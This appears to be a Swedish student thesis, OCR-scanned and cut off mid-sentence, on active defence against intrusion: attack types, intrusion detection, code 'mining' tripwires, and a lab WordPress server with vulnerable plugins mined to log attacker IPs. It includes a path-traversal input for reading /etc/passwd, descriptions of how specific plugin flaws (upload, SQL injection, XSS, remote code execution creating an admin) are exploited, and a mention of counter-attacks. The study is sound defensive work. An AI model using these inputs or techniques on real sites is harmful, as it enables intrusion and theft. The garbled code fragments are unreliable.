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Terminologi och férkortningar

Adressrymd = Innehaller minnesadresser till programkod

HTTP = Hypertext Transfer Protocol, ett kommunikationsprotokoll som anvénds for att

Overfora webbsidor 6ver Internet

IP = Internet Protocol, varje maskin som anslutits till Internet har en IP-adress den kan
identifieras med.

Passwd = En textfil med anvandarinformation i UNIX-baserade operativsystem
PHP = Hypertext Preprocessor, ett populart skriptsprak
Python = Ett programmeringssprak

Shellcode = En shellcode &r en kodsekvens som anvands som belastning da man utnyttjar

sarbarheter.
SSH = Secure Shell, ett protokoll for sdker kommunikation mellan datorer éver Internet

SQL = Structured Query Language, ett programsprak for databaser
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1 INLEDNING

1.1 Bakgrund

Att skydda vara dataprogram eller webbplatser fran intrangsattacker ar inte latt. Till skill-
naden fran forsvaret som maste skydda sig mot flera sarbarheter samtidigt, racker det for
attackeraren att hitta bara en svaghet i systemet som denna kan utnyttja. De flesta for-
svarsmekanismer ar passiva, vilket leder till att attackerarna har initiativet. N&r forsvaret
alltid vantar tills en attack paborjats innan nagonting atgardas, kan attacken redan ha or-
sakat skada. Det forekommer dessutom hela tiden i existerande installationer nya sarbar-
heter som kraver uppdatering. Passiva forsvarsmekanismer som brandmurar eller virus-

skydd ar inte langre tillrackligt i dagens kamp mot intrangsattacker.

Arbetet bestar av en teoretisk del och en praktisk del. Den teoretiska delen behandlar de van-
ligaste attacktyperna, intrangshanteringssystem och hur den aktiva forsvarsmekanismen mi-
nering fungerar. I den praktiska delen beskrivs hur minering implementeras pa en WordPress-

installation och vilka ar resultaten.

1.2 Syfte och mal

Syftet med arbetet ar att undersdka olika l6sningar for aktiva férsvarsmekanismer. Definit-
ionen pa en aktiv forsvarsmekanism ar en atgard, som aktiveras av en attack. Dessa system
kraver resurser och kan ha odnskade sidoeffekter for vanliga anvandare, vilket &r orsaken till

att de ofta inte anvands.

Malet med arbetet &r att introducera ett aktivt forsvar for en viss attacktyp och besvara fol-

jande fragor:

e Vilka intrangshanteringssystem anvands och hur fungerar de?
e Vad gar minering ut pa?

e Hur implementerar man minering pa en WordPress installation?



1.3 Metoder

Litteraturstudier kring &mnet och en sammanfattning av litteraturstudierna utgor en teo-
ridel. 1 en praktisk del installeras och konfigureras en webbserver med en WordPress-
installation. Webbservern finns i Arcadas néatverk och har en egen IP-adress. WordPress-
installationen har sarbarheter som sedan omkodas att spara inkraktarens IP-adress. Jag

provkdr WordPress-installationen sjélv som attackerare och dokumenterar forséken.

1.4 Avgransning

Minering kraver att attacktypen anvénder sig av installationens egna funktioner. Attack-
typer som utnyttjar andra slags sakerhetshal behandlas inte. Jag gar inte heller in pa sjélva

installationsstegen utan behandlar utforligt endast mineringen.

2 INTRANGSATTACKER

Internet har blivit en viktig del av det dagliga livet nér allt fler manniskor anvander sig av
online-tjanster som erbjuds 6ver Internet. Tyvarr har ocksa Internet anvandare med onda
avsikter. Syftet med intrangsattacker 4r att tranga in i system, som inte man normalt har
tillgang till med avsikten att stjala konfidentiell information eller ta dver system. Forr
gjordes intrangsattacker huvudsakligen av hobbyister som ville peka ut sakerhetshal i
olika system, men dagens intrangsattacker drivs av mojligheten att tjana pengar. En attack
kan exempelvis stjdla kredituppgifter eller ta ner stérre online-tjanster. (Egele et al. 2012)
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2.1 Utnyttjandet av sarbarheter

Exploits &r plattform- eller programspecifika skript som utnyttjar sig av sarbarheter som
redan finns i koden. Om en exploit lyckas kora, far attackeraren tillgang till skyddad
funktionalitet (F-Secure 2015). Majoriteten av exploiten for webbapplikationer utnyttjar

foljande sarbarheter:

o Buffertdverskridning

e SQL-injicering

e Kaodinjicering

e Forfragningsforfalskning
e Eskalering av behorighet
e Filuppladdning

e Filnedladdning

e Fjarrkorning av kod

Dessa sarbarheter kategoriseras i Tabell 1 enligt utnyttjade programmeringsfel

Tabell 1. Sarbarhetskategorisering

Minnessdkerhet | Inmatningsvalidering | behdrighetsbekrdftning

Buffertéverskridning X

SQL-injicering

Kodinjicering

Objectinjicering

X | X [X | X

Férfragningsférfalskning

Eskalering av behérighet X

Filuppladdning

x

Filnedladdning X

Fjérrkérning av kod X

Som det framkommer ur Tabell 1, utnyttjar de flesta sarbarheter felprogrammerad inmat-

ningsvalidering.
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2.1.1 Buffertéverskridning

Buffertoverskridning har varit den vanligaste sarbarheten under de senaste tio aren. Buf-
fertoverskridning sker da man kan spara mera data i en buffert an vad programmet reser-
verar i minnet. Overskridande data kan bestd av skadliga instruktioner. Instruktionerna
blir sparade i programmets adressrymd pga. att programmet inte filtrerar éverskridande
data. Genom att manipulera en hoppadress att peka pa den skadliga instruktionssekvensen

kan attackeraren ta 6ver programmet. (Cowan et al. 2000)

2.1.2 SQL-injicering

SQL-injicering utnyttjar fel i inmatningsvalidering. Sarbarheten tillater en attackerare att
skicka SQL-kommandon via ett inmatningsfalt direkt till databasen. SQL-injicering an-

vands oftast for att fa fram anvandaruppgifter. (Acunetix. 2015)

2.1.3 Kodinjicering

Kodinjicering ar en sarbarhet som tillater en angripare att injicera sin egen kod till ett
program. Den injicerade koden kan stjéla data eller lata angriparen tranga forbi autenti-

seringen. (Son et al. 2013)

2.1.4 Objektinjicering

Under de senaste dren har man upptackt flera sarbarheter baserade pa objektinjicering i
populara PHP-applikationer sasom WordPress, Piwik och Joomla. Utnyttjandet av dessa
sarbarheter skulle paverka majoriteten av webbservrar. Serialiseringsfunktionerna i PHP
mOjliggor sparandet av data med vilken som helst typ i ett enhetligt strdngformat. Detta
format tillater enkel overforing av komplexa datastrukturer, men majliggor aven injice-
ring av skadlig data till applikationer. Denna objektinjiceringssarbarhet for PHP uppstar

da man inte sanerar anvandarinmatningen fore den deserialiseras. (Dahse et al. 2014)
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2.1.5 Forfragningsforfalskning

Det finns tva typer av forfragningsforfalsking: XSS (eng: Cross-site scripting) och CSRF
(eng: Cross-site request forgery). De &r sarbarheter som inte ar bundna till specifika ser-
verprogrammeringssprak eller plattformar. Forfragningsforfalskning ar en allvarlig sar-

barhet i flera webbapplikationer.

XSS ar en typ av skriptinjicering som &r majlig da en webbplats inte validerar anvéandar-
inmatningen. XSS tillater att en attackerare kan injicera skript till annars vanlig indata.
Skriptet exekveras ndr anvandarens webblasare besoker webbsidan varvid anvéndarens
dator infekteras. Skriptet kan t.ex. stjala anvandarens sessionsidentitetsnummer fran en
webbkaka. Attackeraren kan anvénda denna identitetsnummer for att hoppa till sessionen

utan anvandarautentisering. (Ollmann 2007)

Den andra typen av forfragningsforfalskning, CSRF, later en attackerare skicka forfrag-
ningar till webbapplikationen som en annan inloggad anvéndare utan att denna anvéndare
sjalv vet om det. Attackeraren kan pa utomstaende webbplatser gomma skript som &r
kodade att gora specifika forfragningar pa den sarbara webbapplikationen. Om anvanda-
ren ar inloggad till tjansten, exekveras forfragningen. Forfragningen kan t.ex. byta anvén-

darens l6senord. (Burns 2007)

2.1.6 Eskalering av behorighet

Eskalering av behorighet ar en intrangsattack som utnyttjar programmeringsfel i ett pro-
gram for att fa hogre anvandarrattigheter eller tillgang till skyddade filer. (Rouse 2010)

2.1.7 Filuppladdning

Filuppladdningssarbarheter innebér att webbapplikationen inte kontrollerar filtypen av
uppladdade filer. Detta later attackerare anvéanda sig av externa skript for att skicka filer
till webbapplikationen. En attackerare kan anropa webbapplikationens filuppladdnings-
metod fran sitt externa skript med modifierade variabler och ladda upp skadliga program
pa webbservern. Attackeraren kan sedan exekvera de skadliga programmen pa webbser-
vern och orsaka skada. (Bezroutchko 2007)
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2.1.8 Filnedladdning

Om webbapplikationen inte kontrollerar anvandarinmatningen vid filnedladdning kan en
attackerare lagga till specifika parametrar for att komma at skyddade filer. Med att mata
int.ex. ”../../..Jetc/passwd” i filnedladdningsféltet kan en attackerare potentiellt komma at

den skyddade passwd-filen. (Infosecinstitute 2013)

2.1.9 Fjarrkorning av kod

Fjarrkérning av kod ar en sarbarhet som later en attackerare exekvera kod fran en annan

webbserver. Sarbarheten kan tillata en attackerare att kora skadlig kod. (Rouse 2013)

2.2 Attackmodeller

| den traditionella distributionsmodellen av skadliga program letar attackerarna aktivt ef-
ter sarbara system och intrangsmaojligheter. For att skydda sig mot detta har man i de flesta
system installerat brandmurar som hanterar effektivt denna attackmodell. Som en féljd
av detta har distributionsmodellen utvecklats till en modell dar anvéndarna omedvetet
laddar ner skadliga program pa sina system. Detta gor intrang betydligt enklare. Attack-
erarna anvander sig av tva huvudsakliga tekniker for denna modell: social manipulering

och automatisk nedladdning (Chang et al. 2013)

2.2.1 Social manipulering

Social manipulering sker da man vilseleder anvéandaren att ladda ner och installera det
sarbara programmet. | stallet for att utnyttja sarbarheten i systemet, lurar man anvandaren
med vilseledande eller lockande design att géra val som hotar systemets sékerhet. En
webbplats kan t.ex. visa falska virusdetekteringsmedelanden och féresla anvandaren att

ladda skadliga program dolda som antivirusprogram. (Chang et al. 2013)

2.2.2 Automatisk nedladdning

Automatisk nedladdning ar en teknik d&r man sétter upp en webbsida att automatiskt ned-

ladda och installera skadliga program pa anvéandarens system da de besoker webbsidan.
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Tekniken &r ett betydande hot for att anvandaren endast behdver besoka webbsidan for
att bli infekterad. En automatisk nedladdning sker i tre steg. Forst hamtar webbsidan en
shellcode som anvands for att tranga in pa anvandarens system. Detta kan goras genom
att satta upp ett skript som pekar pa distribueringsservern dar shellcoden finns. Shellcoden
hamtar information éver anvandarens webblasare sa att attackeraren vet vilka sarbarheter
kan utnyttjas. Sedan injiceras den bit av kod som behdvs for att utnyttja dessa sarbarheter.
Till slut nedladdas och installeras skadliga program fran distribueringsservern pa anvan-
darens system. Oftast blir systemet en del av ett s.k. botnet (se avsnitt 2.3.4). (Chang et
al. 2013)

2.3 Skadliga Program

| detta avsnitt finns en dversikt 6ver skadliga program som kan anvandas for att underlatta

intrangsattacker.

2.3.1 Internetmask

En Internetmask &r ett program som kan sjalvstandigt kdra och sprida sig sjalv till andra
system. Eftersom en mask kor sjalvstandigt, kommer antalet misslyckade forbindelser att
vara hogt. (Egele et al. 2012)

2.3.2 Virus

Ett virus ar ett skadligt program som kopierar sig till andra program. Ett virus kan inte
kora sjalvstandigt, utan kraver att det infekterade programmet kors fore aktivering. Ge-
nom att infektera filer pa en webbserver kan viruset sprida till anvandarna. (Egele et al.
2012)

2.3.3 Trojan

Mijukvaror som latsas vara nyttiga men utfor skadliga atgarder i bakgrunden kallas troja-
ner. Né&r en trojan blir installerad kan den hdmta mera skadliga program, infektera system-

filer eller modifiera systemets instéllningar. (Egele et al. 2012)
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2.3.4 Bot

En bot &r ett skadligt program som later attackeraren kontrollera det infekterade systemet
pa distans. Ett botnet ar ett natverk av flera botar som kontrolleras av en varddator. Fran
varddatorn skickar attackeraren kommandon till sitt botnet. Sitt botnet anvénder attacke-
raren for att lansera attacker mot olika system. Ett botnet kan anvéandas t.ex. till att starta
en dverbelastningsattack, till att skicka trojaner eller for att distribuera olagliga kopior av

upphovsréttsligt skyddade verk. (Karasaridis et al. 2007)

2.3.5 HTTP-avsOkare

HTTP-avsdkare ar skadliga entiteter som undersoker webbsidor for potentiella sarbar-
heter eller kanslig information som kan utnyttjas for intrangsattacker. Mangden forfrag-
ningar avsokarna skickar ar liten jamfort med annan trafik for att de soker bara efter spe-
cifika filer. Detta gor det svart att skilja mellan HTTP-avsokare och vanliga anvéandare,
men for att avsokarna letar blint efter resurser att anvénda, misslyckas storsta delen av
deras forfragningar. Att blockera forfragningar fran dessa IP-adresser ar inte nyttigt ef-

tersom storsta delen av avsdkarna inte kommer tillbaka. (Xie et al. 2014)

2.4 Kodateranvandningsattacker

| stallet for att injicera ett skadligt program till ett sarbart system, anvander kodateran-
vandningsattackerna systemets egen kod for att bygga upp sina attacker (Murphy et al.
2014). Ett program med 6ppen kéllkod gor det enkelt for inkréktare att anpassa och test-
kora sin kod fore de attackerar (Crane et al. 2013). En kodateranvandningsattacken kan
utféras med returorienterad programmering, med hopporienterad programmering och

med aterga-till-libc.

2.4.1 Returorienterad programmering

Returorienterad programmering (ROP) ar en teknik dar en attackerare kan orsaka opalit-
ligt beteende i ett program vars flédeskontroll han tagit 6ver utan att behéva injicera skad-

lig kod. Ett returorienterat program lankar ihop fran kontrollstacken korta instrukt-
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ionsekvensser, s.k. gadgets, som slutar med RETN-instruktionen. RETN hamtar retura-
dressen fran kontrollstacken, vars innehall manipuleras av en ROP-attack. (Roemer et al.
2011)

En ROP-attack startas med att utnyttja buffertdverskridning. Detta gér man med avsikten
att injicera kod, som skriver 6ver en RETN-instruktions returadress pa kontrollstacken.
Exekvering av RETN resulterar darefter i ett hopp till av attackeraren utvald programkod
i en annan gadget. Genom att lanka ihop andra gadgets skapas en gadgetkedja. Denna
kedja anvéander attackeraren sedan for sina egna andamal. Tekniken gar att utnyttja pa
manga system och undviker en hel del sakerhetsatgarder (Prandini & Ramilli, 2012).

De flesta system anvander sig av Write or Execute”-skyddsmodellen som later anvanda-
ren skriva in eller exekvera kod, men inte bada. For att ROP anvander instruktioner som
redan finns i programmets adressrymd dvs. kod som markerats séker av programmet och
kan darfor exekveras, hindrar skyddsmodellen inte alla attacker (Roemer et al. 2011). En
ytterlig sakerhetsatgard mot ROP ar DEP (Data Execution Prevention) som markerar
minnesplatser icke-exekverbara om de inte innehaller exekverbar kod. Systemet ger dock
inte fullstandigt skydd mot ROP. (Microsoft 2013)

Att hindra ROP-attacker &r besvérligt for att inkraktarna kan hitta kod som de kan an-
vanda i nastan alla bindrer. Inkraktarna har ofta tillgang till exakt samma bindr, sa de kan
provkora sin attack. Det finns dnda séatt att forsoka stoppa attacken fran att lyckas. (Crane
et al. 2013)

En ROP-attack behover tva saker for att lyckas: ett satt att ta Over flodeskontrollen och
gadgets som attackeraren kan lanka ihop. Om endera saknas kan inte en ROP-attack ut-
foras. Genom att hindra all buffertéverskridning kan programmets flodeskontroll inte tas
Over och attacken misslyckas. Den andra mojligheten &ar att anvanda andra returinstrukt-
ioner an RETN i programmet och pa det viset hindra attacken. Ett mer indirekt forsvar ar
ASLR (Address Space Layout Randomization) som blandar om koden sa att attackeraren
inte vet vart de gadgets han behdver finns. Detta hindrar dock inte attackeraren fran att

préva sig fram med rastyrka-metoden (Onarlioglu et al. 2010). En ytterlig mojlighet ar att
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lata systemet registrera RETN-returernas frekvens och larma om ett fordefinierat tréskel-
varde Overskrids. Problemet &r att denna metod kraver mer berékningskapacitet ur pro-

grammet, vilket kan gora andra berakningar langsammare att utfora. (Davi et al. 2011)

2.4.2 Atergé-till-libc

Atergé-till-libc (eng: Return-into-libc), RILC, &r den vanligaste och enklaste kadateran-
vandningsattacken. Attackeraren utnyttjar buffertdverskridning for att injicera en grupp
skadliga stackramar till minnet. Sedan ordnar han kontrollstackens pekare att peka till de
skadliga ramarna. Stackramarna innehaller funktionsanrop med parametrar attackeraren
utvalt till funktioner som finns i standard C-bibliotek. Nar programmet returnerar fran
den pagaende funktionen, omdirigeras kontrollflodet till en av attackeraren utvald funkt-
ion. (Bletsch et al. 2011)

2.4.3 Hopporienterad programmering

Hopporienterad programmering (eng: Jump-Oriented Programming), JOP, &r en ny typ
av kodateranvandningsattack som inte utnyttjar kontrollstacken eller RETN-instrukt-
ioner. JOP bygger ocksa en gadgetkedja, men till skillnad fran ROP slutar dessa gadgets
med indirekta JMP-instruktioner. Gadgetkedjan férenas med en avsandargadget (eng: dis-
patcher gadget) som anger till vilken gadget programmet i fortsattningen hoppar. (Bletsch
et al. 2011)

3 INTRANGSHANTERING

Analys av skadliga program har varit ett centralt &mne i datasékerhetsforskning under
flera ar. Flera olika tekniker och verktyg har introducerats for att automatiskt analysera
och skydda program mot skadliga program. En del av dessa tekniker ar konstruerade att
hantera utnyttjandet av dnnu okanda sarbarheter, men de flesta av dem baserar sig pa
redan kanda och existerande sarbarheter. Detta betyder att om tekniken bakom skadliga

program modifieras, fungerar verktygen mojligen inte. (Lu et al. 2011)
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3.1 Upptackt av intrang

De tva huvudsakliga teknikerna for att upptacka intrangsforsok ar missbruksdetektering
och avvikelsedetektering. Missbruksdetekteringssystem anvander sig av monster fran be-
kanta intrangsattacker for att identifiera intrangsforsok. En regel for detta system kan vara
t.ex. det far inte vara mer an fyra misslyckade inloggningsforsék inom tva minuter, annars
larmar systemet for en I6senordsknéackningsattack. Systemet fungerar dock inte emot in-
trangsforsok som anvander sig av okanda tekniker eller sarbarheter. Avvikelsedetekte-
ringssystem kollar efter hur anvandarna beter sig i tjansten de anvander. Om nagons be-
teende avviker mycket fran den sparade anvandarprofilen larmar systemet. Systemet kan
fungera emot okénda tekniker, men orsakar mycket ofta falska alarm. Alarmen kommer
fran anvandare som anvander systemet annorlunda &n den fordefinierade profilen. (Lee
& Stolfo 2000)

3.2 Forsvarsmekanismer
| detta avsnitt finns en dversikt dver forsvarsmekanismer som anvands for att skydda sy-
stem mot intrang.

3.2.1 Brandmur

Brandmurar 6vervakar natverkstrafiken till systemet och antingen tillater eller nekar in-
tradet baserat pa fordefinierade regler. De misslyckas dock behandla trafik fran standard-
portar t.ex. port 80 som anvands av HTTP-trafiken. Brandmurar kan inte heller skydda

mot attacker som kommer fran samma natverk. (Jain & Sardana 2012)

3.2.2 Maskdetektor

En maskdetektor identifierar mojliga maskar enligt antalet forbindelser. Ett hogt antal
misslyckade forbindelser kan betyda att en mask har forsokt sprida sig inom systemet. En

detektor for en masktyp fungerar dock inte sékert mot alla maskar. (Jain & Sardana 2012)
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3.2.3 Antivirusprogram

Antivirusprogram anvander sig av monsterfiler fran kanda skadliga program for att iden-
tifiera hot. FOr att antivirusprogram ska vara palitliga maste de uppdateras regelbundet.
Ett antivirusprogram kan inte identifiera alla hot och att installera flera olika antivirus-
program okar belastningen pa systemet sa det rekommenderas inte. For att antiviruspro-
gram anvander sig av monsterfiler kan de inte identifiera okénda sarbarheter. (Jain &
Sardana 2012)

3.2.4 Honungsfalla

Honungsfallor &r datorer som ar konfigurerade att vara sarbara mot intrangsattacker. De-
ras mal ar att locka attackerare sa att den riktiga webbservern halls saker. De lurar attack-
erare att tro att de lyckats med sin attack genom att emulera det riktiga malet. Samtidigt
sparar honungsfallan information om attacken och skickar sedan informationen vidare for
analys (Even 2000). Honungsfallor har ocksa visat sig vara effektiva mot attacker som
anvander sig av okanda sarbarheter. (Jain & Sardana 2012)

3.2.5 Patch-hanteringssystem

En patch ar mjukvara som uppdaterar programkod med avsikten att fixa buggar eller sar-
barheter i ett program. Patch-hantering ar identifiering och korrigering av sarbarheter i
mjukvara eller operativsystem. Patch-hanteringen kan automatiseras av ett patch-hante-
ringssystem. Oforsiktig patching kan dock potentiellt séndra systemet sa man maste vara

noggrann. (Jain & Sardana 2012)

4 MINERING

Utgaende fran funktionaliteten i ROP har det identifierats en aktiv forsvarsmekanism som

gar ut pa att minera programkoden.
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4.1 Mineringens funktion

Minering skyddar dataprogram genom att skriva om den binéra koden vid kompilering
eller vid inladdning sa det blir inte langsammare att kora sjalva programmet. Eftersom
den omskrivna bindrkoden inte kérs normalt, kan attackeraren inte forbereda sig och
maste darfor anvanda tid eller andra resurser for att kunna gora intrang. | den omskrivna
bindrkoden finns inkodade minor som inte stor vanliga anvandare. Det betyder att om en
mina triggas, vet programmet att det ar under attack och reagerar pa ett lampligt satt (se
Figur 1). Minan kan exempelvis informera om attacken till administratoren. Genom att
minera programmet skapar man ett aktivt sétt, som inte behdver en vakt, som reaktion
mot intrangsattacker. Denna teknik kan anvandas ocksa till skyddandet av en webbserver
eller ett operativsystem. Forsvaret kan dven anvénda sig av aggressiva forsvarsmekan-

ismer vid saker vetskap att en attack pabdrjats. Eftersom minorna finns i sjélva program-

koden, kan de inte heller avaktiveras av attackeraren. (Crane et al. 2013)
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Figur 1. Nar binarkoden skrivs om maste attackeraren gora flera forsok pa att komma in. Fast han lyckas vet forsva-
ret att en mina triggats och reagerar

4.2 Minering av kod

For att kunna minera koden maste man férst ga igenom vad man skall infoga i koden, nar

man skall infoga i koden och vart man skall infoga i koden.
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4.2.1 Vad att infoga

Koden som triggas av minan skall vara kod som attackeraren inte kan anvanda for att
tranga sig in till systemet. Det betyder att koden maste vara begransad till en viss anvan-
dargrupp eller ha specificerade regler som begransar kodens anvandning. (Crane et al.
2013)

4.2.2 Nar att infoga

Att infoga koden vid laddnings- eller kompileringstillfallet av programmet har bada sina
for- och nackdelar. Nar man infogar minorna vid kompileringstillfallet kan man vélja
vilka minor som skrivs in i koden. Kompilatorn har full kontroll éver koden och kan
darfor ocksa vilja vart i koden minorna skrivs in. Denna metod kraver dock tillgang till
programmets kéllkod. Om man infogar minorna vid inladdning av programkoden, beho-
ver man inte tillgang till kdllkoden. Programmets sakerhet okar nar kallkoden inte finns
utlagd. Det betyder ocksa att man kan infoga minor i program som man inte har kallkoden
till. Eftersom programmet redan blivit kompilerat, maste man sjélv se till att koden man

tillagt forstas och hanteras ratt av datorn. (Crane et al. 2013)

4.2.3 Vart att infoga

Né&r man lagger minor ar det viktigt att programmet inte skall under normal anvéandning
komma at dem. Det kan man astadkomma genom att dela programblocken till en grupp
mindre block och sedan ha programmet att hoppa éver blocket med minan (se Figur 2).
Att lagga minor pa det har viset borde paverka minimalt pa programmets prestanda. For
att man vill att attackeraren skall trigga minan, ar det logiskt att placera dem pa stallen
dar attackeraren forvantar sig att hitta den gadget han ar ute efter, om den binédra koden
inte blivit omskriven. | vanliga fall vet attackeraren dock inte var den gadget han soker
efter finns och darfoér rekommenderas det att l4gga minorna slumpmassigt runt koden.
(Crane et al. 2013)
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Figur 2. Genom att forst skriva om bindrkoden och sedan lagga minor dar den ursprungliga gadget fanns kommer
attackeraren att trigga minor och misslyckas med sin attack
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4.3 Utnyttjandet av minering

Minorna ar det snabbaste sattet att reagera mot ett intrangsforsok for minorna kors under
sjalva attacken. Minorna har ocksa tillgang till programmet och kan modifiera den sam-
tidigt som attacken pagar. Utgaende fran det har har man flera olika satt att utnyttja mi-
norna. (Crane et al. 2013)

4.3.1 Honungsfalla
Man kan lata minan skicka attacken till en honungsfalla och pa det viset lura attackeraren
att tro att hans attack lyckats. (Crane et al. 2013)

4.3.2 Aterhamtning

For att man har tillgang till programmet fran minan, kan man forsoka aterhamta program-
met i stallet for att lata den krascha. Minan kan aktivera feltoleranssystemet och beteckna
vilket data blivit korrupterat i attacken, for att sedan syntetisera ersattningsdata. Dessutom
kan minan aktivera minnesskyddet och andra sdkerhetsmekanismer som blivit inaktive-

rade av attackeraren. (Crane et al. 2013)
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4.3.3 Versionskopiering

Man kan kopiera det igangvarande programmets tillstand och sedan starta en ny instans
av programmet med det kopierade tillstandet. FOr att programmet startats fran borjan kan
man ta i anvandning en annan grupp av minor, som attackeraren inte vet placeringen pa.
(Crane et al. 2013)

4.3.4 Forensik

Minorna kan anvandas for att trigga kriminaltekniska analyser. Med analyserna kan man
fa information om varifran attacken harstammar och hurdan signatur den har. Det ar ofta
svart att sarskilja om programmet kraschade av ett kodningsfel eller pa grund av dverbe-
lastning. Genom att redan i ett tidigt skede trigga analysen, forbattras sannolikheten att
na svaret. FOr att attacken triggar analysen medan attacken annu pagar, kan man med att
studera attacken bakvant fa information om vilka sarbarheter den anvand sig av. Inform-

ationen &r vardefull for att forhindra liknande attacker i framtiden. (Crane et al. 2013)

4.3.5 Motanfall

Om man glémmer den lagliga aspekten, kunde man anvanda minorna for att starta ett
motanfall. Genom att skicka en attack mot attackerarens IP-adress, kunde man potentiellt
overraska attackeraren fore han forstar att hans attack misslyckats och fa honom att
Overge sin attack. (Crane et al. 2013)

5 MINERING AV WEBBSERVER

Det ar majligt att anvanda sig av minering ocksa for att skydda webbsidor (Crane et al.
2013). En webbserver har anslutits till Arcadas natverk med en WordPress-installation
dar sarbara insticksmoduler installerats. Insticksmodulerna har minerats, sa att de loggar

IP-adressen av den som forsoker utnyttja sarbarheten.
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5.1 Webbservern

Webbservern ar en ESPRIMO Mobile V5535 barbar dator. Som operativsystem har in-
stallerats Ubuntu 14.10. For att kunna sétta upp en webbplats, installeras LAMP-stacken
pa den. LAMP &r en akronym och star for Linux-Apache-MySQL-PHP (Sverdlov 2015).
Darpa skapas en databas for den kommande WordPress-installationen. Sedan konfigure-
ras webbserverns IP-adress sa att den blir synlig pa webben. Till slut installeras SSH, sa

att webbservern blir atkomlig pa distans.

5.2 WordPress

WordPress 4.1 installeras i webbserverns www -katalog. For att kunna installera insticks-
moduler eller uppdatera installationen maste alla kataloger som omfattar WordPress till-
hora anvandaren www-data. Féljande kommando maste da koras fran kommandotolken:

”chown -R www-data /usr/share/WordPress” (Ellingwood 2014).

5.3 Sarbarheter i WordPress insticksmoduler

For att WordPress har dppen kéllkod och vem som helst kan koda insticksmoduler for
den, finns det en hel del insticksmoduler med utnyttjbara sarbarheter. Nagra sarbarheter

utnyttjas med en Shellcode.

5.3.1 WordPress Symposium 14.11

| insticksmodulen WordPress Wp Symposium 14.11 har hittats en sarbarhet som tillater
en attackerare uppladda en skadlig shellcode som kan anvéndas som en bakdorr till webb-
serverns skyddade filer. For att utnyttja sarbarheten behéver man skriptet skrivet av Vi-
viani (2014b). Skriptet utnyttjar en sarbarhet i filen UploadHandler.php (se Figur 3) som
skoter om filuppladdningsprocessen. UploadHandler.php accepterar alla sorts filer, vilket
betyder att en skadlig shellcode kan uppladdas.
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GNU nano 2.2.6 File: /wvar/www/html/wp-content/plugins/wp-symposium/server/php/UploadHandler.php

'inline file types' => '/\. (mp4|zip|doc|docx

Figur 3. Den sarbara UploadHandler.php

5.3.2 WordPress Shopping Cart 3.0.4

Insticksmodulen WordPress Shopping cart 3.0.4 har en sarbarhet pa filuppladdning som
kan utnyttjas med ett skript skrivet av Szurek (2015). Filen banneruploaderscript.php i
Figur 4 skoter om filuppladdningen och kontrollerar att bara en inloggad administrator
kan ladda upp filer pa webbservern. Nar man 6ppnar filen ser man att kontrollen har i
stéllet for ett och-villkor ett eller-villkor. Detta betyder att vem som helst inloggad kan

uppladda filer.

GHUO nmano 2.2.6 File: banneruploaderscript.php

Sfiletmpname = £ ES['Filedata']["tmp name']:

$fileType = § FILES["Filedata™] ["ctype™]:

{$_FILES["Filedata"™] ["size™] / 1024 / 1000);

Figur 4. Den sarbara banneruploadscript.php

Exploit-skriptet &r ett formuldr som utnyttjar banneruploaderscript.php for att skicka filer
till webbservern. For att banneruploaderscript.php litar pa administratorn, tillats uppladd-

ning av alla slags filer vilket tillater attackerare att inféra skadliga filer.
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5.3.3 WordPress Video Gallery 2.7.0

WordPress-insticksmodulen Video Gallery 2.7.0 har en klassisk sarbarhet pa SQL-inji-
cering. Insticksmodulen filtrerar inte inmatningen i videogalleryrss.php-filen for varia-
beln vid (se Figur 5), vilket betyder att en inkraktare kan skriva en SQL-sats efter varia-
beln i adressbalken och skicka den direkt till databasen. Inkraktaren kan t.ex. bygga upp
SQL-satsen att hamta WordPress-anvandaruppgifterna fran wp_users-tabellen.

GNU nano 2.2.6 File: wideogalleryrss.php

Figur 5. Vid-variabeln saknar filtrering

5.3.4 Fancybox for WordPress 3.0.2

Insticksmodulen Fancybox for WordPress 3.0.2 har en sarbarhet som tillater forfrag-
ningsforfalskning av typen XSS (se Figur 6). Funktionen mfbfw_admin_options i filen
fancybox.php validerar inte indatat och tillater en attackerare att injicera ett skript. At-
tackeraren kan skicka skriptet med ett formular. Skriptet injiceras pa framsidan av webb-

platsen och triggas alltid nar man besoker den.

GNU nano 2.2.6 File: /var/www/html/wp-content/plugins/fancybox-for-wordpress/fancybox.php

Figur 6. Den sarbara mfofw_admin_options-funktionen

5.3.5 WordPress Download Manager 2.7.4

WordPress Download Manager rapporterades i december 2014 att ha en alvarlig sarbar-
het som tillater fjarrkorning av kod. (Nadeau 2014)
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For att kunna utnyttja sarbarheten behdver man skriptet skriven av Viviani (2014a). Skrip-
tet utnyttjar den sarbara funktionen wpdm_cajax_call_exec i wpdm-core.php-filen (se Fi-
gur 7). Funktionen tar in funktioner som anvandaren skickar till den fran det grafiska
anvandargranssnittet och exekverar dem utan att verifiera om funktionen existerar i pro-
grammet. Detta betyder att en attackerare kan injicera WordPress-funktioner till program-
met och fa dem och exekvera.

GNU nmano 2.2.6 File: wpdm-core.php

Figur 7. Den sarbara wpdm_ajax_call_exec-funktionen

Skriptet utnyttjar denna sarbarhet genom att injicera WordPress-funktionen
wp_Insert_user, som anvands for att skapa anvandare pa webbplatsen. Funktionen tar in
anvandarnamn, l6senord och anvéandarroll. Genom att injicera funktionen wp_Insert_user
med dessa parametrar till wpdm_cajax_call_exec-funktionen, kan man skapa en admi-

nistrator pa den sarbara WordPress-installationen.

5.4 Minering av kallkoden

Fore man minerar en sarbarhet patchar man den forst. Man vill inte att attackeraren skall
veta att sarbarheten blivit patchad (Araujo 2014). Man uppdaterar darfor inte modulen till
den nyaste versionen utan andrar kallkoden manuellt. Genom att jamfora kéllkoden pa
den sarbara versionen och den patchade versionen, ser man hur funktionens kod skall
andras. Efter att man &ndrat kédllkoden kan man minera den att logga IP-adresserna av
attackerare som forsoker utnyttja sarbarheten. Detta kan man astadkomma genom att
lagga till PHP-funktionalitet for att samla information av anvandare som besdker en
webbplats. Funktionaliteten skall placeras i borjan av den funktion som attackerare ut-

nyttjar for sina intrang. Med foljande funktionalitet minerar man en funktion:
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Sipadress = $_SERVER['REMOTE_ADDR'];// Ger bestkarens IP-adress.

$webpage = $_SERVER['SCRIPT_NAME; // Ger sidan som besoktes.

$browser = $ SERVER['HTTP_USER_AGENT']; // Ger information 6ver bestkarens
webbl&sare.

$file = 'attack.log’;

$fp = fopen($file, 'a");

$date = date('d/F/Y h:i:s");

fwrite($fp, $ipadress.' - ['.$date."] .$webpage.’ . $browser."\r\n");

fclose($fp);

Informationen som samlats sparas sedan i en textfil (PHPBook 2011).

5.4.1 WordPress Symposium 14.11

Skriptet kréaver att en shellcode kan uppladdas pa webbservern. Shellcoden skapar en bak-
